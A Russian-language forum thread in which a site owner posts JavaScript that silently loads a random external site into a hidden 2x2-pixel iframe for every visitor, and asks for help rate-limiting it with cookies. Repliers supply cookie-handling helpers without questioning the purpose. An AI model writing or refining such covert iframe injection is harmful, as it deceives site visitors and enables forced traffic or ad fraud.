Блокировка выполнения скрипта по cookie с помощью jquery.cookie.js
Добрый день. Вобщем есть сайт на котором есть скрипт для невидимой переадресации юзеров на другие сайты через iframe(нечего криминального не делаю).
var a=Math.round(Math.random()*2) //это число должно совпадать с максимальным индексом таблицы ссылок link = new Array(); link[0]="http://site1.ru/" link[1]="http://site2.ru/" link[2]="http://site3.ru/" //с максимальным индексом link[..] совпадает число, на которое умножаем вверху var frame = document.createElement("IFRAME"); frame.src = link[a]; frame.style.cssText = "border: 0 none; height: 2px; width: 2px"; frame.scrolling = "no"; document.body.appendChild(frame); Так вот есть необходимость чтобы данный скрипт работал лишь раз в 24 часа, тоесть нужно ограничить его выполнение если пользователь пришёл на сайт, а 24 часа ещё не прошло. Вобщем пытался я сделать сам такой контроль пользователей, но нечего не получилось,ошибок наверное тьма... Вобщем вот то что получилось: <script src="jquery.cookie.js" type="text/javascript"></script> <script type="text/javascript"> function check($user) { if (tmp == "user") return true; else return false; } var tmp= $.cookie['user']; if (check($user)); else $.cookie(‘user’, ‘$user’, { expires: 1 }) && genrnd (); //установить куки с временем жизни 1 день и выполнить скрипт; function genrnd() { var a=Math.round(Math.random()*2) //это число должно совпадать с максимальным индексом таблицы ссылок link = new Array(); link[0]="http://site1.ru/" link[1]="http://site2.ru/" link[2]="http://site3.ru/" //с максимальным индексом link[..] совпадает число, на которое умножаем вверху var frame = document.createElement("IFRAME"); frame.src = link[a]; frame.style.cssText = "border: 0 none; height: 2px; width: 2px"; frame.scrolling = "no"; document.body.appendChild(frame); } </script> Подскажите пожалуйста как заставить эту систему работать, спасибо. |
Цитата:
- попал в скрипт - прочитал куку - если не андефайнет - ретурн от туда - в противном случае записал куку и продолжилскрипт |
Ну я что то подобное попытался сделать, только в моём случае если кука есть то тупо нечего не делается, если нет её то ставим+как то выполняем скрипт.
Хотелось бы код увидеть как правильно это сделать и узнать то что я пытался накодить похоже хотя бы на правду или нет ибо пока не успеваю изучить js... |
Цитата:
/* name - имя cookie value - значение cookie [expires] - дата окончания действия cookie (по умолчанию - до конца сессии) [path] - путь, для которого cookie действительно (по умолчанию - документ, в котором значение было установлено) [domain] - домен, для которого cookie действительно (по умолчанию - домен, в котором значение было установлено) [secure] - логическое значение, показывающее требуется ли защищенная передача значения cookie */ function setCookie(name, value, expires, path, domain, secure) { var curCookie = name + "=" + escape(value) + ((expires) ? "; expires=" + expires.toGMTString() : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : "") if ((name + "=" + escape(value)).length <= 4000) document.cookie = curCookie else if (confirm("Cookie превышает 4KB и будет вырезан !")) document.cookie = curCookie } /* name - имя считываемого cookie */ function getCookie(name) { var prefix = name + "=" var cookieStartIndex = document.cookie.indexOf(prefix) if (cookieStartIndex == -1) return null var cookieEndIndex = document.cookie.indexOf(";", cookieStartIndex + prefix.length) if (cookieEndIndex == -1) cookieEndIndex = document.cookie.length return unescape(document.cookie.substring(cookieStartIndex + prefix.length, cookieEndIndex)) } |
Спасибо за ответ.
Дату окончания куки каким образом задавать? Что то типо 3600000*24*nDays? Зачем вырезать куки если они более 4 кб и выдавать сообщение при этом? И ещё сначала ведь наверно гет куки должен идти(в моём случае) а затем уже сет куки, а то получается что при старте скрипта сначала ставится кука а потом уже проверяется или чего то непонимаю??? А как мне передать управление на скрипт для генерации случайной ссылки ? |
Цитата:
Цитата:
var expires="15/02/2011 00:00:00" Цитата:
|
Часовой пояс GMT +3, время: 04:51. |